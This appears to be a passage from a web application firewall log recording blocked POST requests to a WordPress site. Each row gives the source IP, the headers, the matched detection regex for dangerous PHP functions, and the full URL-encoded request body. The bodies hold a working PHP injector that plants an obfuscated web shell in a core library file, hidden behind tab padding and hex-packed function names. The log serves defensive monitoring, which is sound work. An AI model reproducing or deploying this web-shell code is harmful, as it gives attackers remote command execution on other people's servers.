%2528%2524tkn_key%2529%257B%2524res_value%253D%2524token_parser_engine6%2528%2524tkn_key%2529%253B%2524token_parser_engine7%2528%2524tkn_key%2529%253Bprint%2520%2524res_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:43","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ko:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Misc.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524object1%2520%253D%2520%252773%2527%253B%2524object2%2520%253D%2520%252779%2527%253B%2524object3%2520%253D%2520%25276d%2527%253B%2524object4%2520%253D%2520%252768%2527%253B%2524object5%2520%253D%2520%252765%2527%253B%2524object6%2520%253D%2520%252763%2527%253B%2524object7%2520%253D%2520%252778%2527%253B%2524object8%2520%253D%2520%252770%2527%253B%2524object9%2520%253D%2520%252761%2527%253B%2524object10%2520%253D%2520%252774%2527%253B%2524object11%2520%253D%2520%252772%2527%253B%2524object12%2520%253D%2520%25276e%2527%253B%2524object13%2520%253D%2520%252767%2527%253B%2524object14%2520%253D%2520%25276f%2527%253B%2524object15%2520%253D%2520%25276c%2527%253B%2524object16%2520%253D%2520%252771%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object2%2520.%2520%2524object1%2520.%2520%252774%2527%2520.%2520%252765%2527%2520.%2520%2524object3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524object4%2520.%2520%2524object5%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%25275f%2527%2520.%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%2524object6%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object5%2520.%2520%2524object7%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object8%2520.%2520%2524object9%2520.%2520%252773%2527%2520.%2520%2524object1%2520.%2520%2524object10%2520.%2520%252768%2527%2520.%2520%2524object11%2520.%2520%252775%2527%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%252770%2527%2520.%2520%252765%2527%2520.%2520%2524object12%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object10%2520.%2520%2524object11%2520.%2520%252765%2527%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524object13%2520.%2520%252765%2527%2520.%2520%252774%2527%2520.%2520%25275f%2527%2520.%2520%252763%2527%2520.%2520%2524object14%2520.%2520%25276e%2527%2520.%2520%2524object10%2520.%2520%252765%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524object1%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524object6%2520.%2520%2524object15%2520.%2520%2524object14%2520.%2520%252773%2527%2520.%2520%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object16%2520.%2520%252775%2527%2520.%2520%252765%2527%2520.%2520%2524object11%2520.%2520%252779%2527%2520.%2520%25275f%2527%2520.%2520%252768%2527%2520.%2520%2524object9%2520.%2520%25276e%2527%2520.%2520%252764%2527%2520.%2520%2524object15%2520.%2520%252765%2527%2520.%2520%2524object11%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524query_handler%252C%2524mrk_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524mrk_val%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524desc_entity%253D%2524config_manager5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524desc_entity%2529%257B%2524key_pset%253D%2524config_manager6%2528%2524desc_entity%2529%253B%2524config_manager7%2528%2524desc_entity%2529%253Bprint%2520%2524key_pset%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:7268\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn28vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nko=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Misc.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524object1%2520%253D%2520%252773%2527%253B%2524object2%2520%253D%2520%252779%2527%253B%2524object3%2520%253D%2520%25276d%2527%253B%2524object4%2520%253D%2520%252768%2527%253B%2524object5%2520%253D%2520%252765%2527%253B%2524object6%2520%253D%2520%252763%2527%253B%2524object7%2520%253D%2520%252778%2527%253B%2524object8%2520%253D%2520%252770%2527%253B%2524object9%2520%253D%2520%252761%2527%253B%2524object10%2520%253D%2520%252774%2527%253B%2524object11%2520%253D%2520%252772%2527%253B%2524object12%2520%253D%2520%25276e%2527%253B%2524object13%2520%253D%2520%252767%2527%253B%2524object14%2520%253D%2520%25276f%2527%253B%2524object15%2520%253D%2520%25276c%2527%253B%2524object16%2520%253D%2520%252771%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object2%2520.%2520%2524object1%2520.%2520%252774%2527%2520.%2520%252765%2527%2520.%2520%2524object3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524object4%2520.%2520%2524object5%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%25275f%2527%2520.%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%2524object6%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object5%2520.%2520%2524object7%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object8%2520.%2520%2524object9%2520.%2520%252773%2527%2520.%2520%2524object1%2520.%2520%2524object10%2520.%2520%252768%2527%2520.%2520%2524object11%2520.%2520%252775%2527%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%252770%2527%2520.%2520%252765%2527%2520.%2520%2524object12%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object10%2520.%2520%2524object11%2520.%2520%252765%2527%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524object13%2520.%2520%252765%2527%2520.%2520%252774%2527%2520.%2520%25275f%2527%2520.%2520%252763%2527%2520.%2520%2524object14%2520.%2520%25276e%2527%2520.%2520%2524object10%2520.%2520%252765%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524object1%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524object6%2520.%2520%2524object15%2520.%2520%2524object14%2520.%2520%252773%2527%2520.%2520%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object16%2520.%2520%252775%2527%2520.%2520%252765%2527%2520.%2520%2524object11%2520.%2520%252779%2527%2520.%2520%25275f%2527%2520.%2520%252768%2527%2520.%2520%2524object9%2520.%2520%25276e%2527%2520.%2520%252764%2527%2520.%2520%2524object15%2520.%2520%252765%2527%2520.%2520%2524object11%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524query_handler%252C%2524mrk_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524mrk_val%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524desc_entity%253D%2524config_manager5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524desc_entity%2529%257B%2524key_pset%253D%2524config_manager6%2528%2524desc_entity%2529%253B%2524config_manager7%2528%2524desc_entity%2529%253Bprint%2520%2524key_pset%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:46","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Misc.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524object1%2520%253D%2520%252773%2527%253B%2524object2%2520%253D%2520%252779%2527%253B%2524object3%2520%253D%2520%25276d%2527%253B%2524object4%2520%253D%2520%252768%2527%253B%2524object5%2520%253D%2520%252765%2527%253B%2524object6%2520%253D%2520%252763%2527%253B%2524object7%2520%253D%2520%252778%2527%253B%2524object8%2520%253D%2520%252770%2527%253B%2524object9%2520%253D%2520%252761%2527%253B%2524object10%2520%253D%2520%252774%2527%253B%2524object11%2520%253D%2520%252772%2527%253B%2524object12%2520%253D%2520%25276e%2527%253B%2524object13%2520%253D%2520%252767%2527%253B%2524object14%2520%253D%2520%25276f%2527%253B%2524object15%2520%253D%2520%25276c%2527%253B%2524object16%2520%253D%2520%252771%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object2%2520.%2520%2524object1%2520.%2520%252774%2527%2520.%2520%252765%2527%2520.%2520%2524object3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524object4%2520.%2520%2524object5%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%25275f%2527%2520.%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%2524object6%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object5%2520.%2520%2524object7%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object8%2520.%2520%2524object9%2520.%2520%252773%2527%2520.%2520%2524object1%2520.%2520%2524object10%2520.%2520%252768%2527%2520.%2520%2524object11%2520.%2520%252775%2527%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%252770%2527%2520.%2520%252765%2527%2520.%2520%2524object12%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object10%2520.%2520%2524object11%2520.%2520%252765%2527%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524object13%2520.%2520%252765%2527%2520.%2520%252774%2527%2520.%2520%25275f%2527%2520.%2520%252763%2527%2520.%2520%2524object14%2520.%2520%25276e%2527%2520.%2520%2524object10%2520.%2520%252765%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524object1%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524object6%2520.%2520%2524object15%2520.%2520%2524object14%2520.%2520%252773%2527%2520.%2520%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object16%2520.%2520%252775%2527%2520.%2520%252765%2527%2520.%2520%2524object11%2520.%2520%252779%2527%2520.%2520%25275f%2527%2520.%2520%252768%2527%2520.%2520%2524object9%2520.%2520%25276e%2527%2520.%2520%252764%2527%2520.%2520%2524object15%2520.%2520%252765%2527%2520.%2520%2524object11%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524query_handler%252C%2524mrk_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524mrk_val%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524desc_entity%253D%2524config_manager5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524desc_entity%2529%257B%2524key_pset%253D%2524config_manager6%2528%2524desc_entity%2529%253B%2524config_manager7%2528%2524desc_entity%2529%253Bprint%2520%2524key_pset%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:7268\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGR8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nLO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Misc.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524object1%2520%253D%2520%252773%2527%253B%2524object2%2520%253D%2520%252779%2527%253B%2524object3%2520%253D%2520%25276d%2527%253B%2524object4%2520%253D%2520%252768%2527%253B%2524object5%2520%253D%2520%252765%2527%253B%2524object6%2520%253D%2520%252763%2527%253B%2524object7%2520%253D%2520%252778%2527%253B%2524object8%2520%253D%2520%252770%2527%253B%2524object9%2520%253D%2520%252761%2527%253B%2524object10%2520%253D%2520%252774%2527%253B%2524object11%2520%253D%2520%252772%2527%253B%2524object12%2520%253D%2520%25276e%2527%253B%2524object13%2520%253D%2520%252767%2527%253B%2524object14%2520%253D%2520%25276f%2527%253B%2524object15%2520%253D%2520%25276c%2527%253B%2524object16%2520%253D%2520%252771%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object2%2520.%2520%2524object1%2520.%2520%252774%2527%2520.%2520%252765%2527%2520.%2520%2524object3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524object4%2520.%2520%2524object5%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%25275f%2527%2520.%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%2524object6%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object5%2520.%2520%2524object7%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object8%2520.%2520%2524object9%2520.%2520%252773%2527%2520.%2520%2524object1%2520.%2520%2524object10%2520.%2520%252768%2527%2520.%2520%2524object11%2520.%2520%252775%2527%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%252770%2527%2520.%2520%252765%2527%2520.%2520%2524object12%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object10%2520.%2520%2524object11%2520.%2520%252765%2527%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524object13%2520.%2520%252765%2527%2520.%2520%252774%2527%2520.%2520%25275f%2527%2520.%2520%252763%2527%2520.%2520%2524object14%2520.%2520%25276e%2527%2520.%2520%2524object10%2520.%2520%252765%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524object1%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524object6%2520.%2520%2524object15%2520.%2520%2524object14%2520.%2520%252773%2527%2520.%2520%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object16%2520.%2520%252775%2527%2520.%2520%252765%2527%2520.%2520%2524object11%2520.%2520%252779%2527%2520.%2520%25275f%2527%2520.%2520%252768%2527%2520.%2520%2524object9%2520.%2520%25276e%2527%2520.%2520%252764%2527%2520.%2520%2524object15%2520.%2520%252765%2527%2520.%2520%2524object11%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524query_handler%252C%2524mrk_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524mrk_val%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524desc_entity%253D%2524config_manager5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524desc_entity%2529%257B%2524key_pset%253D%2524config_manager6%2528%2524desc_entity%2529%253B%2524config_manager7%2528%2524desc_entity%2529%253Bprint%2520%2524key_pset%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
